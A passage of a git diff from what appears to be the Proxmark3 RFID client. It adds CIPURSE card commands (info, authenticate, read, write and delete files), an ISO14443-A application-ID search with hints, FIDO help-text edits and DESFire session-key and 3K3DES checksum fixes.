(res) + continue; + + if (sw == 0x9000 || sw == 0x6283 || sw == 0x6285) { + if (!found) { + if (verbose) + PrintAndLogEx(INFO, "----------------- " _CYAN_("Short AID search") " -----------------"); + } + found++; + + if (sw == 0x9000) { + if (verbose) + PrintAndLogEx(SUCCESS, "Application " _CYAN_("%s") " ( " _GREEN_("ok") " )", hintAIDList[i].desc); + cardFound[i] = true; + } else { + if (verbose) + PrintAndLogEx(WARNING, "Application " _CYAN_("%s") " ( " _RED_("blocked") " )", hintAIDList[i].desc); + } + } + } + + if (found) { + if (verbose) + PrintAndLogEx(INFO, "---------------------------------------------------"); + else + PrintAndLogEx(INFO, "Short AID search:"); + + if (found >= ARRAYLEN(hintAIDList) - 1) { + PrintAndLogEx(HINT, "Hint: card answers to all AID. It maybe the latest revision of plus/desfire/ultralight card."); + } else { + for (int i = 0; i < ARRAYLEN(hintAIDList); i++) { + if (cardFound[i] && strlen(hintAIDList[i].hint)) + PrintAndLogEx(HINT, "Hint: try " _YELLOW_("%s") " commands", hintAIDList[i].hint); + } + } + } + + DropField(); + return found; +} + static uint16_t get_sw(uint8_t *d, uint8_t n) { if (n < 2) { return 0; diff --git a/client/src/cmdhf14a.h b/client/src/cmdhf14a.h index 874a073c5..484b43cfd 100644 --- a/client/src/cmdhf14a.h +++ b/client/src/cmdhf14a.h @@ -22,6 +22,13 @@ typedef struct { const char *desc; } manufactureName; +typedef struct { + const char *aid; + const uint8_t aid_length; + const char *desc; + const char *hint; +} hintAIDListT; + int CmdHF14A(const char *Cmd); int CmdHF14ASniff(const char *Cmd); // used by hf topaz sniff int CmdHF14ASim(const char *Cmd); // used by hf mfu sim @@ -30,6 +37,7 @@ int CmdHF14ANdefRead(const char *Cmd); int hf14a_getconfig(hf14a_config *config); int hf14a_setconfig(hf14a_config *config, bool verbose); int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search); +int infoHF14A4Applications(bool verbose); const char *getTagInfo(uint8_t uid); int Hf14443_4aGetCardData(iso14a_card_select_t *card); int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c new file mode 100644 index 000000000..6ce7c8895 --- /dev/null +++ b/client/src/cmdhfcipurse.c @@ -0,0 +1,705 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// High frequency FIDO U2F and FIDO2 contactless authenticators +//----------------------------------------------------------------------------- +// +// JAVA implementation here: +// +// https://github.com/duychuongvn/cipurse-card-core +//----------------------------------------------------------------------------- + +#include "cmdhffido.h" +#include +#include "cmdparser.h" // command_t +#include "commonutil.h" +#include "comms.h" +#include "proxmark3.h" +#include "emv/emvcore.h" +#include "emv/emvjson.h" +#include "cliparser.h" +#include "cmdhfcipurse.h" +#include "cipurse/cipursecore.h" +#include "cipurse/cipursecrypto.h" +#include "ui.h" +#include "cmdhf14a.h" +#include "cmdtrace.h" +#include "util.h" +#include "fileutils.h" // laodFileJSONroot + +static int CmdHelp(const char *Cmd); + +static int CmdHFCipurseInfo(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf cipurse info", + "Get info from cipurse tags", + "hf cipurse info"); + + void *argtable[] = { + arg_param_begin, + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + CLIParserFree(ctx); + + // info about 14a part + infoHF14A(false, false, false); + + // CIPURSE info + PrintAndLogEx(INFO, "-----------" _CYAN_("CIPURSE Info") "---------------------------------"); + SetAPDULogging(false); + + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + + if (res) { + DropField(); + return res; + } + + if (sw != 0x9000) { + if (sw) + PrintAndLogEx(INFO, "Not a CIPURSE card! APDU response: %04x - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + else + PrintAndLogEx(ERR, "APDU exchange error. Card returns 0x0000."); + + DropField(); + return PM3_SUCCESS; + } + + PrintAndLogEx(INFO, "Cipurse card: " _GREEN_("OK")); + + res = CIPURSESelectFile(0x2ff7, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + DropField(); + return PM3_SUCCESS; + } + + res = CIPURSEReadBinary(0, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + DropField(); + return PM3_SUCCESS; + } + + if (len > 0) { + PrintAndLogEx(INFO, "Info file: " _GREEN_("OK")); + PrintAndLogEx(INFO, "[%d]: %s", len, sprint_hex(buf, len)); + CIPURSEPrintInfoFile(buf, len); + } + + DropField(); + return PM3_SUCCESS; +} + +static int CmdHFCipurseAuth(const char *Cmd) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + uint8_t keyId = 1; + uint8_t key[] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}; + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf cipurse auth", + "Authenticate with key ID and key", + "hf cipurse auth -> Authenticate with keyID=1 and key = 7373...7373\n" + "hf cipurse auth -n 2 -k 65656565656565656565656565656565 -> Authenticate with key\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "show APDU requests and responses"), + arg_lit0("v", "verbose", "show technical data"), + arg_int0("n", "keyid", "", "key id"), + arg_str0("k", "key", "", "key for authenticate"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + keyId = arg_get_int_def(ctx, 3, 1); + + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 4, hdata, &hdatalen); + if (hdatalen && hdatalen != 16) { + PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH); + + SetAPDULogging(APDULogging); + + CLIParserFree(ctx); + + int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + uint8_t kvv[CIPURSE_KVV_LENGTH] = {0}; + CipurseCGetKVV(key, kvv); + if (verbose) + PrintAndLogEx(INFO, "Key id: %d key: %s KVV: %s", keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH)); + + bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); + + if (verbose == false) { + if (bres) + PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); + else + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); + } + + DropField(); + return bres ? PM3_SUCCESS : PM3_ESOFT; +} + +static int CLIParseKeyAndSecurityLevels(CLIParserContext *ctx, size_t keyid, size_t sreqid, size_t srespid, uint8_t *key, CipurseChannelSecurityLevel *sreq, CipurseChannelSecurityLevel *sresp) { + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, keyid, hdata, &hdatalen); + if (hdatalen && hdatalen != 16) { + PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH); + + *sreq = CPSMACed; + *sresp = CPSMACed; + + char cdata[250] = {0}; + int cdatalen = sizeof(cdata); + cdatalen--; // for trailer 0x00 + CLIGetStrWithReturn(ctx, sreqid, (uint8_t *)cdata, &cdatalen); + if (cdatalen) { + str_lower(cdata); + if (strcmp(cdata, "plain") == 0) + *sreq = CPSPlain; + else if (strcmp(cdata, "mac") == 0) + *sreq = CPSMACed; + else if (strcmp(cdata, "enc") == 0 || strcmp(cdata, "encode") == 0 || strcmp(cdata, "encrypted") == 0) + *sreq = CPSEncrypted; + else { + PrintAndLogEx(ERR, _RED_("ERROR:") " security level can be only: plain|mac|encode."); + return PM3_EINVARG; + } + } + + cdatalen = sizeof(cdata); + memset(cdata, 0, cdatalen); + cdatalen--; // for trailer 0x00 + CLIGetStrWithReturn(ctx, srespid, (uint8_t *)cdata, &cdatalen); + if (cdatalen) { + str_lower(cdata); + if (strcmp(cdata, "plain") == 0) + *sresp = CPSPlain; + else if (strcmp(cdata, "mac") == 0) + *sresp = CPSMACed; + else if (strcmp(cdata, "enc") == 0 || strcmp(cdata, "encode") == 0 || strcmp(cdata, "encrypted") == 0) + *sresp = CPSEncrypted; + else { + PrintAndLogEx(ERR, _RED_("ERROR:") " security level can be only: plain|mac|encode."); + return PM3_EINVARG; + } + } + + return PM3_SUCCESS; +} + +static int CmdHFCipurseReadFile(const char *Cmd) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + uint8_t key[] = CIPURSE_DEFAULT_KEY; + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf cipurse read", + "Read file by file ID with key ID and key", + "hf cipurse read -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file with id 2ff7\n" + "hf cipurse read -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "show APDU requests and responses"), + arg_lit0("v", "verbose", "show technical data"), + arg_int0("n", "keyid", "", "key id"), + arg_str0("k", "key", "", "key for authenticate"), + arg_str0("f", "file", "", "file ID"), + arg_int0("o", "offset", "", "offset for reading data from file"), + arg_lit0(NULL, "noauth", "read file without authentication"), + arg_str0(NULL, "sreq", "", "communication reader-PICC security level"), + arg_str0(NULL, "sresp", "", "communication PICC-reader security level"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + uint8_t keyId = arg_get_int_def(ctx, 3, 1); + + CipurseChannelSecurityLevel sreq = CPSMACed; + CipurseChannelSecurityLevel sresp = CPSMACed; + int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint16_t fileId = 0x2ff7; + + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); + if (hdatalen && hdatalen != 2) { + PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + fileId = (hdata[0] << 8) + hdata[1]; + + size_t offset = arg_get_int_def(ctx, 6, 0); + + bool noAuth = arg_get_lit(ctx, 7); + + SetAPDULogging(APDULogging); + + CLIParserFree(ctx); + + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); + + if (noAuth == false) { + bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); + if (bres == false) { + if (verbose == false) + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); + DropField(); + return PM3_ESOFT; + } + + // set channel security levels + CIPURSECSetActChannelSecurityLevels(sreq, sresp); + } + + res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId); + + res = CIPURSEReadBinary(offset, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (len == 0) + PrintAndLogEx(INFO, "File id: %x is empty", fileId); + else + PrintAndLogEx(INFO, "File id: %x data[%d]: %s", fileId, len, sprint_hex(buf, len)); + + DropField(); + return PM3_SUCCESS; +} + +static int CmdHFCipurseWriteFile(const char *Cmd) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + uint8_t key[] = CIPURSE_DEFAULT_KEY; + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf cipurse write", + "Write file by file ID with key ID and key", + "hf cipurse write -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and write file with id 2ff7\n" + "hf cipurse write -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and write file\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "show APDU requests and responses"), + arg_lit0("v", "verbose", "show technical data"), + arg_int0("n", "keyid", "", "key id"), + arg_str0("k", "key", "", "key for authenticate"), + arg_str0("f", "file", "", "file ID"), + arg_int0("o", "offset", "", "offset for reading data from file"), + arg_lit0(NULL, "noauth", "read file without authentication"), + arg_str0(NULL, "sreq", "", "communication reader-PICC security level"), + arg_str0(NULL, "sresp", "", "communication PICC-reader security level"), + arg_str0("c", "content", "", "new file content"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + uint8_t keyId = arg_get_int_def(ctx, 3, 1); + + CipurseChannelSecurityLevel sreq = CPSMACed; + CipurseChannelSecurityLevel sresp = CPSMACed; + int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint16_t fileId = 0x2ff7; + + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); + if (hdatalen && hdatalen != 2) { + PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + fileId = (hdata[0] << 8) + hdata[1]; + + size_t offset = arg_get_int_def(ctx, 6, 0); + + bool noAuth = arg_get_lit(ctx, 7); + + hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 10, hdata, &hdatalen); + if (hdatalen == 0) { + PrintAndLogEx(ERR, _RED_("ERROR:") " file content length must be more 0."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + + SetAPDULogging(APDULogging); + + CLIParserFree(ctx); + + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) { + PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); + PrintAndLogEx(INFO, "data[%d]: %s", hdatalen, sprint_hex(hdata, hdatalen)); + } + + if (noAuth == false) { + bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); + if (bres == false) { + if (verbose == false) + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); + DropField(); + return PM3_ESOFT; + } + + // set channel security levels + CIPURSECSetActChannelSecurityLevels(sreq, sresp); + } + + res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId); + + res = CIPURSEUpdateBinary(offset, hdata, hdatalen, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File write " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + PrintAndLogEx(INFO, "File id: %x successfully written.", fileId); + + DropField(); + return PM3_SUCCESS; +} + +static int CmdHFCipurseReadFileAttr(const char *Cmd) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + uint8_t key[] = CIPURSE_DEFAULT_KEY; + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf cipurse aread", + "Read file attributes by file ID with key ID and key", + "hf cipurse aread -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file attributes with id 2ff7\n" + "hf cipurse aread -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file attributes\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "show APDU requests and responses"), + arg_lit0("v", "verbose", "show technical data"), + arg_int0("n", "keyid", "", "key id"), + arg_str0("k", "key", "", "key for authenticate"), + arg_str0("f", "file", "", "file ID"), + arg_lit0(NULL, "noauth", "read file attributes without authentication"), + arg_str0(NULL, "sreq", "", "communication reader-PICC security level"), + arg_str0(NULL, "sresp", "", "communication PICC-reader security level"), + arg_lit0(NULL, "sel-adf", "show info about ADF itself"), + arg_lit0(NULL, "sel-mf", "show info about master file"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + uint8_t keyId = arg_get_int_def(ctx, 3, 1); + + CipurseChannelSecurityLevel sreq = CPSMACed; + CipurseChannelSecurityLevel sresp = CPSMACed; + int res = CLIParseKeyAndSecurityLevels(ctx, 4, 7, 8, key, &sreq, &sresp); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint16_t fileId = 0x2ff7; + + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); + if (hdatalen && hdatalen != 2) { + PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + fileId = (hdata[0] << 8) + hdata[1]; + + bool noAuth = arg_get_lit(ctx, 6); + + bool seladf = arg_get_lit(ctx, 9); + bool selmf = arg_get_lit(ctx, 10); + + SetAPDULogging(APDULogging); + + CLIParserFree(ctx); + + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); + + if (noAuth == false) { + bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); + if (bres == false) { + if (verbose == false) + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); + DropField(); + return PM3_ESOFT; + } + + // set channel security levels + CIPURSECSetActChannelSecurityLevels(sreq, sresp); + } + + if (seladf == false) { + if (selmf) + res = CIPURSESelectMFFile(buf, sizeof(buf), &len, &sw); + else + res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); + + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + } + + if (verbose) + PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId); + + res = CIPURSEReadFileAttributes(buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (len == 0) { + PrintAndLogEx(WARNING, "File id: %x attributes is empty", fileId); + DropField(); + return PM3_SUCCESS; + } + + if (verbose) + PrintAndLogEx(INFO, "File id: %x attributes[%d]: %s", fileId, len, sprint_hex(buf, len)); + + CIPURSEPrintFileAttr(buf, len); + + DropField(); + return PM3_SUCCESS; +} + +static int CmdHFCipurseDeleteFile(const char *Cmd) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + uint8_t key[] = CIPURSE_DEFAULT_KEY; + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf cipurse delete", + "Read file by file ID with key ID and key", + "hf cipurse delete -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and delete file with id 2ff7\n" + "hf cipurse delete -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and delete file\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "show APDU requests and responses"), + arg_lit0("v", "verbose", "show technical data"), + arg_int0("n", "keyid", "", "key id"), + arg_str0("k", "key", "", "key for authenticate"), + arg_str0("f", "file", "", "file ID"), + arg_str0(NULL, "sreq", "", "communication reader-PICC security level"), + arg_str0(NULL, "sresp", "", "communication PICC-reader security level"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + uint8_t keyId = arg_get_int_def(ctx, 3, 1); + + CipurseChannelSecurityLevel sreq = CPSMACed; + CipurseChannelSecurityLevel sresp = CPSMACed; + int res = CLIParseKeyAndSecurityLevels(ctx, 4, 6, 7, key, &sreq, &sresp); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint16_t fileId = 0x2ff7; + + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); + if (hdatalen && hdatalen != 2) { + PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + fileId = (hdata[0] << 8) + hdata[1]; + + SetAPDULogging(APDULogging); + + CLIParserFree(ctx); + + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); + + bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); + if (bres == false) { + if (verbose == false) + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); + DropField(); + return PM3_ESOFT; + } + + // set channel security levels + CIPURSECSetActChannelSecurityLevels(sreq, sresp); + + res = CIPURSEDeleteFile(fileId, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + PrintAndLogEx(INFO, "File id: 04x deleted " _GREEN_("succesfully"), fileId); + + DropField(); + return PM3_SUCCESS; +} + + + + + + + + + + + + +bool CheckCardCipurse(void) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + int res = CIPURSESelect(true, false, buf, sizeof(buf), &len, &sw); + + return (res == 0 && sw == 0x9000); +} + +static command_t CommandTable[] = { + {"help", CmdHelp, AlwaysAvailable, "This help."}, + {"info", CmdHFCipurseInfo, IfPm3Iso14443a, "Info about Cipurse tag."}, + {"auth", CmdHFCipurseAuth, IfPm3Iso14443a, "Authentication."}, + {"read", CmdHFCipurseReadFile, IfPm3Iso14443a, "Read binary file."}, + {"write", CmdHFCipurseWriteFile, IfPm3Iso14443a, "Write binary file."}, + {"aread", CmdHFCipurseReadFileAttr, IfPm3Iso14443a, "Read file attributes."}, + {"delete", CmdHFCipurseDeleteFile, IfPm3Iso14443a, "Delete file."}, + {NULL, NULL, 0, NULL} +}; + +int CmdHFCipurse(const char *Cmd) { + clearCommandBuffer(); + return CmdsParse(CommandTable, Cmd); +} + +int CmdHelp(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + CmdsHelp(CommandTable); + return PM3_SUCCESS; +} diff --git a/client/src/cmdhfcipurse.h b/client/src/cmdhfcipurse.h new file mode 100644 index 000000000..85e98ed60 --- /dev/null +++ b/client/src/cmdhfcipurse.h @@ -0,0 +1,25 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// High frequency FIDO U2F and FIDO2 contactless authenticators +//----------------------------------------------------------------------------- +// +// JAVA implementation here: +// +// https://github.com/duychuongvn/cipurse-card-core +//----------------------------------------------------------------------------- + +#ifndef CMDHFCIPURSE_H__ +#define CMDHFCIPURSE_H__ + +#include "common.h" + +int CmdHFCipurse(const char *Cmd); + +bool CheckCardCipurse(void); + +#endif diff --git a/client/src/cmdhffido.c b/client/src/cmdhffido.c index f68e6a23d..64ab28687 100644 --- a/client/src/cmdhffido.c +++ b/client/src/cmdhffido.c @@ -38,7 +38,7 @@ #include "fileutils.h" // laodFileJSONroot #define DEF_FIDO_SIZE 2048 -#define DEF_FIDO_PARAM_FILE "fido2_defparams.json" +#define DEF_FIDO_PARAM_FILE "hf_fido2_defparams.json" static int CmdHelp(const char *Cmd); @@ -654,7 +654,9 @@ static int CmdHFFido2MakeCredential(const char *cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf fido make", "Execute a FIDO2 Make Credential command. Needs json file with parameters.\n" - "Sample file `fido2_defparams.json` in `client/resources/`.", + "Sample file `fido2_defparams.json` in `client/resources/`.\n" + "- for yubikey there must be only one option `\"rk\": true` or false" + , "hf fido make --> use default parameters file `fido2_defparams.json`\n" "hf fido make -f test.json --> use parameters file `text.json`" ); @@ -772,7 +774,8 @@ static int CmdHFFido2GetAssertion(const char *cmd) { CLIParserInit(&ctx, "hf fido assert", "Execute a FIDO2 Get Assertion command. Needs json file with parameters.\n" "Sample file `fido2_defparams.json` in `client/resources/`.\n" - "- Needs if `rk` option is `false` (authenticator doesn't store credential to its memory)" + "- Needs if `rk` option is `false` (authenticator doesn't store credential to its memory)\n" + "- for yubikey there must be only one option `\"up\": true` or false" , "hf fido assert --> default parameters file `fido2_defparams.json`\n" "hf fido assert -f test.json -l --> use parameters file `text.json` and add to request CredentialId"); diff --git a/client/src/cmdhfmfdes.c b/client/src/cmdhfmfdes.c index ae0d7f2c4..e2e315727 100644 --- a/client/src/cmdhfmfdes.c +++ b/client/src/cmdhfmfdes.c @@ -983,7 +983,17 @@ static int handler_desfire_auth(mfdes_authinput_t *payload, mfdes_auth_res_t *rp } // Part 4 - tag->session_key = &default_key; + // tag->session_key = &default_key; + struct desfire_key *p = realloc (tag->session_key,sizeof(struct desfire_key)); + if (!p) { + PrintAndLogEx(FAILED, "Cannot allocate memory for session keys"); + free(tag->session_key); + return PM3_EMALLOC; + } + tag->session_key = p; + + memset (tag->session_key, 0x00, sizeof(struct desfire_key)); + Desfire_session_key_new(RndA, RndB, key, tag->session_key); if (payload->mode != MFDES_AUTH_PICC) { @@ -1017,10 +1027,18 @@ static int handler_desfire_auth(mfdes_authinput_t *payload, mfdes_auth_res_t *rp } } + // If the 3Des key first 8 bytes = 2nd 8 Bytes then we are really using Singe Des + // As such we need to set the session key such that the 2nd 8 bytes = 1st 8 Bytes + if (payload->algo == MFDES_ALGO_3DES) { + if (memcmp(key->data,&key->data[8],8) == 0) + memcpy(&tag->session_key->data[8], tag->session_key->data, 8); + } + rpayload->sessionkeylen = payload->keylen; memcpy(rpayload->sessionkey, tag->session_key->data, rpayload->sessionkeylen); memset(tag->ivect, 0, MAX_CRYPTO_BLOCK_SIZE); tag->authenticated_key_no = payload->keyno; + if (tag->authentication_scheme == AS_NEW) { cmac_generate_subkeys(tag->session_key, MCD_RECEIVE); } @@ -1206,7 +1224,7 @@ static int mifare_desfire_change_key(uint8_t key_no, uint8_t *new_key, uint8_t n sAPDU apdu = {0x90, MFDES_CHANGE_KEY, 0x00, 0x00, 0x01, data}; // 0xC4 size_t cmdcnt = 0; - uint8_t csPkt[30] = {0x00}; // temp storage for AES first CheckSum + uint8_t csPkt[100] = {0x00}; // temp storage for AES/3K3Des packet to calculate checksum (size ????) uint8_t new_key_length = 16; switch (new_algo) { @@ -1264,6 +1282,11 @@ static int mifare_desfire_change_key(uint8_t key_no, uint8_t *new_key, uint8_t n memcpy(&csPkt[1], data, 18); desfire_crc32(csPkt, 19, data + 1 + cmdcnt); + } else if (new_algo == MFDES_ALGO_3K3DES) { + // 3K3Des checksum must cover : C4 + csPkt[0] = MFDES_CHANGE_KEY; + memcpy (&csPkt[1], data, 25); + desfire_crc32(csPkt, 26, data + 1 + cmdcnt); } else { desfire_crc32_append(data + 1, cmdcnt); } @@ -1281,11 +1304,16 @@ static int mifare_desfire_change_key(uint8_t key_no, uint8_t *new_key, uint8_t n break; case AS_NEW: if (new_algo == MFDES_ALGO_AES) { - // AES Checksum must cover : C4 + // AES Checksum must cover : C4 // C4 01 A0B08090E0F0C0D02030001060704050 